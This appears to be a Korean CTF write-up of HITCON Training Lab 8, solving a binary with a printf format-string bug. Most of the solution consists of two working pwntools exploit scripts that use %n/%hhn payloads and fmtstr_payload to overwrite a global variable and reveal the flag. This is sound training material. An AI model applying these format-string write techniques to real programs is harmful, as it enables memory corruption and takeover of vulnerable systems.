tmxklab
hitcon training [LAB 8] 본문
1. 문제
1) mitigation확인
2) 문제 확인
3) 코드흐름 파악
3-1) main함수
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [esp+Ch] [ebp-10Ch]
unsigned int v5; // [esp+10Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
setvbuf(_bss_start, 0, 2, 0);
puts("Please crax me !");
printf("Give me magic :");
read(0, &buf, 0x100u);
printf(&buf);
if ( magic == 0xDA )
{
system("cat /home/craxme/flag");
}
else if ( magic == 0xFACEB00C )
{
system("cat /home/craxme/craxflag");
}
else
{
puts("You need be a phd");
}
return 0;
}
printf(buf)에서 FSB가 발생한다. 이거를 이용해서 bss영역에 존재하는 magic의 값을 0xda 또는 0xfaceb00c로 변경하면 될 것 같다.
2. 접근 방법
FSB를 이용하여 magic변수에 if문을 만족시키는 값을 넣는다.
자세한 방법은 다음 링크에서 참고
3. 풀이
참고로, 두 번째 if문을 통과하기 위해서 x86 elf파일이므로 2bytes씩 나눠서 저장해줘야 한다.
1) 익스코드
from pwn import *
p = process("./craxme")
#gdb.attach(p)
magic = 0x804a038
first_if = int(0xda)
second_if_1 = int(0x1face)
second_if_2 = int(0xb00c)
# 1. magic = 0xda
payload1 = p32(magic)
payload1 += "%" + str(first_if - len(payload1)) + "c"
payload1 += "%7$n"
# 2. magic - 0xfaceb00c
payload2 = p32(magic)
payload2 += p32(magic+0x2)
payload2 += "%" + str(second_if_2 - len(payload2)) + "c"
payload2 += "%7$n"
payload2 += "%" + str(second_if_1 - second_if_2) + "c"
payload2 += "%8$n"
#p.sendafter(":", payload1)
p.sendafter(":", payload2)
p.interactive()
2) 공격실행
2-1) 첫 번째 if문 통과
2-2) 두 번째 if문 통과
4. 몰랐던 개념
다른 풀이를 보다가 pwntools에서 FSB공격을 위해 지원해주는 기능이 또 있다... 좀 신기하다 ㅋㅋㅋ
다음 익스코드는 밑에 사이트에서 참고하였다.
익스코드)
from pwn import *
e = ELF("./craxme")
p = process("./craxme")
offset = 7
magic = 0x804a038
# 1. first if
payload1 = p32(magic)
payload1 += "%{}d".format(214)
payload1 += "%{}$hhn".format(offset)
# 2. second if
payload2 = fmtstr_payload(offset, {magic:0xfaceb00c})
p.sendafter(":", payload1)
#p.sendafter(":", payload2)
p.interactive()
'War Game > hitcon training' 카테고리의 다른 글
hitcon training [LAB 10] (0) | 2020.07.21 |
---|---|
hitcon training [LAB 9] (0) | 2020.07.21 |
hitcon training [LAB 7] (0) | 2020.07.19 |
hitcon training [LAB 6] (0) | 2020.07.19 |
hitcon training [LAB 5] (0) | 2020.07.19 |
Comments